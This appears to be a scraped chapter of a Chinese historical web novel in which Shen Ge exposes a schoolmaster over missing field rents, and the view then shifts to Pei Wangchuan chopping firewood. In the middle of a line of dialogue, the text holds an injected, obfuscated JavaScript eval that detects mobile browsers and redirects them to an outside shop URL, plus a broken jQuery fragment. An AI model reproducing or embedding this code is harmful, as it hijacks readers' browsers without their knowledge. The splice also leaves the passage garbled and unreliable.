为夫子讨公道?
同裴忘川的意外一样,在场众人也都甚是不解,搞不懂沈歌究竟是唱的哪一出,那夫子也一时没反应过来:“替、替我讨公道?”
沈歌:“没错。方才大家都听得一清二楚,那社田租子的的确确没有尽数到夫子手中,且是夫子亲口所言!”
“对,我们的确听到了!”刘栓柱他娘的大嗓门一喊,来的早的路人也都纷纷应和,“确有此事,夫子还说那朝廷派发的纸笔钱花不了多少时日!”“没错没错!”
当事双方的话可信可不信,可这无关的路人是没有半分的利益纠葛,于是来得晚的百姓们一听这话,也就信上了七八分。
一时间,舆情又回转到了这无故消失的社田租子上。
那里长不比这酸儒,稍一观望便知事态不妙,登时就想要逃离,可是围着看热闹的人是越来越多,特别是紧贴在他身后的那个小哥儿,愣是挤着他没让他挪动半分。
夫子着急大喊:“我、我听错了,也答错了,算、算不得数的!”
沈歌轻笑一声:“这么多人听得清清楚楚,可是一句听错答错就能说的通的?那好,夫子既说错了,那您便说说近年的这社田租子可收到多少?”
夫子擦着脸上的冷汗,硬着头皮编了一个数,末了还补充了一句:“也可能多点,也可能少点,我记不大清楚了。你、你若是不信,明、明日里咱们便去里长那里核实!”
可沈歌却不应他,而是从怀中又掏出一个账本:“我看,就不必等到明日了。”
糟了,这是那些佃户手里的账本?!还没挤出去的里长顿时心下一凉,他没有想到这白脸小子竟是有备而来。
沈歌拿着账本向众人示意:“各位,昨日一早我便去了社田的佃户家中,将今年各季各亩的收成都一一摘录了下来,而这最终的数目,同夫子口中所说的却是相差甚远!”
这下人证物证一应俱全了。
“不不,我、我记错了,我……”夫子还想挣扎,可显然已是惘然,只见他两腿哆嗦地扶着沈歌脚下的石板。
见此,沈歌面带微笑地轻轻扶起他,不过那笑容虽淡,却是让对面的人莫名后背一凉:“夫子不必悲伤过度,这少的租子,我们这□□不起束脩的家眷们定是要为你讨回的!”
夫子嘴唇发白地抬头看向沈歌,只见她眉目如画,眸带笑意,晨间的日光正从她的背后照来,将她整个人都镀了一层同这庙宇一样的柔边,似佛似神。
可是不知为何,他却总觉得这姣好皮相下又好似隐藏着让他深感寒意的恶灵,正将他一步步地引诱到万丈悬崖边。
而此时,沈歌再度转身面向众人高举联名状:“社田租子本应是由里长收缴,再按数分发。若夫子的租子不足数,那又是谁拿了去?各位,今日正值月初申明亭集会,里长必不会走太远,大家识字的签字,不识的按手印,咱们一同寻他去,为夫子做主!”说罢,便将手中的联名状递给了栓柱他娘。
有点东西,立在一旁听戏的裴忘川不自觉勾起了嘴角,他原以为沈歌唤他同来,是为着教训一下这夫子,结果到头来,竟自己就解决了。
这厮,究竟是做什么的?裴忘川不禁好奇。
夫子想夺走那张联名状,索性伸手就要去抢,可没想到他不仅连状纸的边儿都没碰到,还不知被谁给一把拽到了人堆儿里,于一片混乱中生生挨了好一顿拳脚。
而沈歌呢?则是正镇定自若地看着面前争抢着签字的家眷和跃跃欲试的老百姓们。
没一会儿,夫子就肿着脸瘸着腿从人堆儿里爬了出来,现在他可算是清楚今天沈歌带人来此的目的了,□□疼痛和精神折磨之下,失了主意的夫子转头就跪地央求沈歌:“沈、沈小兄弟,沈兄,沈公子!求、求你快快制止他们,我、我……你、你想要什么我都给你,这里长大人可不是你我二人能得罪得起的,说不定,你我连这铁心村都有可能呆不下去呀!!”
沈歌听了这话,故作惊恐状:“呀!夫子可不敢乱讲,我们本是为你寻公道的,况且这里长大人身有官职,我是半个字都未说定是谁拿的这社田租子,又何谈得罪呢?再者,将事情闹大本也不是在下的本意。”
本也不是沈歌的本意?
只见那夫子错愕地看向沈歌,不明其意,不过没一会儿,他便似大彻大悟,眼中尽是悔恨。是啊,沈歌给过他机会,只要他一开始就认了错,或者中间不反咬一口,这事儿断然是不会扯到里长头上的。
一旁的裴忘川只听得夫子哀声痛悔道:“是、是我糊涂了,我、我不该嘴硬的!我真是、真是愚蠢呀……”说到后半句,这老儒生竟吓得低声抽了起来。
沈歌见火候已到,便低身凑近夫子:“夫子倒也不必如此难过,若是夫子心胸宽广,不愿计较那三两分的租子,在下也不是没有法子。”
夫子闻此赶忙抬头,老泪纵横:“沈公子,求您一定高抬贵手,切勿再追究下去了!”
沈歌不置可否:“只是,在下不知现今夫子是否已经记起,”说着,她从脚边拾起个石子,递给鼻青脸肿的夫子,“那‘公-道’二字,究竟是如何书写的?”
那夫子看着沈歌递过来的石子,抬袖一把抹去满脸老泪,颤颤巍巍地接过,一笔一划地在这关帝庙前的土地上写下了此生不忘的两个字——公道。
“日后,我对这社学里的学童一定一视同仁,对赤贫家的孩子也绝口不再提那补交束脩一事,也定不会再无端、无端辱骂,我、我这教训,记得真真的,真真的!”
沈歌深深看了夫子一眼,这个往日里最重秀才名节的文人,此时竟惊惶地仿若杀威棒下求饶的小贼,全然不见学堂上的半分威严。
沈歌抬手招呼沈明珠几个孩子:“扶夫子去偏殿继续授课。”
被打的那群学童此时都离得远远地,或怕或恨都不再敢上前,唯有沈明珠倒是有几分沈歌的性子,知进知退识时务,虽也是不太情愿,却面上尚能恭恭敬敬的,搀着双腿发软、挨了一顿拳脚的夫子离开了。
听着身边人陆续离去的声音,坐在青石板上的裴忘川也站起身,准备回去。
“等等,”沈歌拦住他。
裴忘川不解:“什么?”
沈歌没有搭理裴忘川的疑虑,而是自顾自低声同他说:
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17790374|210364||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
“做好准备了吗?”
“?”
什么准备?裴忘川皱眉。
但还没容他再问一句,就感受到自己的手腕被一只冰凉娇小的手掌握住了,随后就是一阵力量拽着他往前——沈歌拉着裴忘川拔腿就跑了!
待拐过两个巷子口,沈歌已经气喘吁吁了,可裴忘川却依旧气息平稳,甚至换了一身粗布短衣的他,都看不出半分有伤的样子。
“这就是你带我来的目的?”裴忘川甩开沈歌的手,冷冰冰道。
沈歌喘着气:“不、不是。”
她料想到今日里长会来凑热闹,方才也在人群中看到他了,可是不知为何,他好似被人缠上了,没来得及寻沈歌的麻烦,不过,这麻烦不是今日来就是明日来。
沈歌原本想着今日将裴忘川带出来同里长的打手碰一碰,不论谁输谁赢她都有得赚,赢了这里长往后多少会收着点,输了那怕丢了官职的里长也不得不赔裴忘川点医药费,那她也不用担心多出一张嘴的吃喝了。
不管怎样,她沈歌的小身子骨可是经不起折腾的。
不知自己竟被当成棋子的裴忘川看不透沈歌这脑袋瓜里究竟装的是什么,不过他也懒得琢磨,冷冰冰丢下一句:“还没歇够?”
沈歌终于将气喘匀了,她下意识安抚道:“好了好了,走回家吧。”不过话刚出口,她就觉得不对劲儿。
凭什么?现在她才是一家之主,而面前这人才是寄人篱下的那个,他凭什么不耐烦?又凭什么给她甩脸子?
不行,她沈歌之塌,岂容他人安睡?!
-
裴忘川再如何梦魇,都不曾想过有朝一日他那持过刀沾过血的双手,竟会拎着个破斧头,人蜷缩在小木墩上劈柴火!
柴火?这物件儿竟然还需要人来砍?这缺了少了的话不都应归后厨上街采买的吗?再不济,也大可以上街吃去,何需自己动手?
裴忘川脑中的疑惑颇多,不仅是面前的这个小院,还有这小院里的人,都是他不甚能理解的。
“嘭。”裴忘川手中的斧头再次落下,接着,他又伸长手臂在身侧的地面上摸索着其他木头。
裴忘川不是一个大善人,又或者说,他或许几辈子都不会跟大善人这个词搭上半点边,熟知他的人无一不畏惧于他的身份亦或是他在诏狱里的狠辣手段,更有甚者将其比作地狱阎罗都不为过。
但料是如此心狠手辣的一个人,都不会逼着一个“瞎子”,不,是一个身负刀伤的“瞎子”,劈柴火!
“你几次三番躲在此处,即使被我打晕丢于巷中都不曾想过另寻他处,想必是已经试探出我们并非你那仇家的眼线。”
“既如此,那便是你有求于我,那么——求人就要有求人的姿态。”
姿态?沈歌的话在裴忘川的脑海里回响着。
一病弱书生,那胳膊、腰身都还不抵他半个,说话还细声细气的,就这么一个扔军营里都打不过年迈伙夫的人,哪里来的底气竟敢要挟于他?纵使那朝堂上,军营中,天下之人林林总总,都没几人敢在裴忘川面前如此硬气!
此人,裴忘川记下了。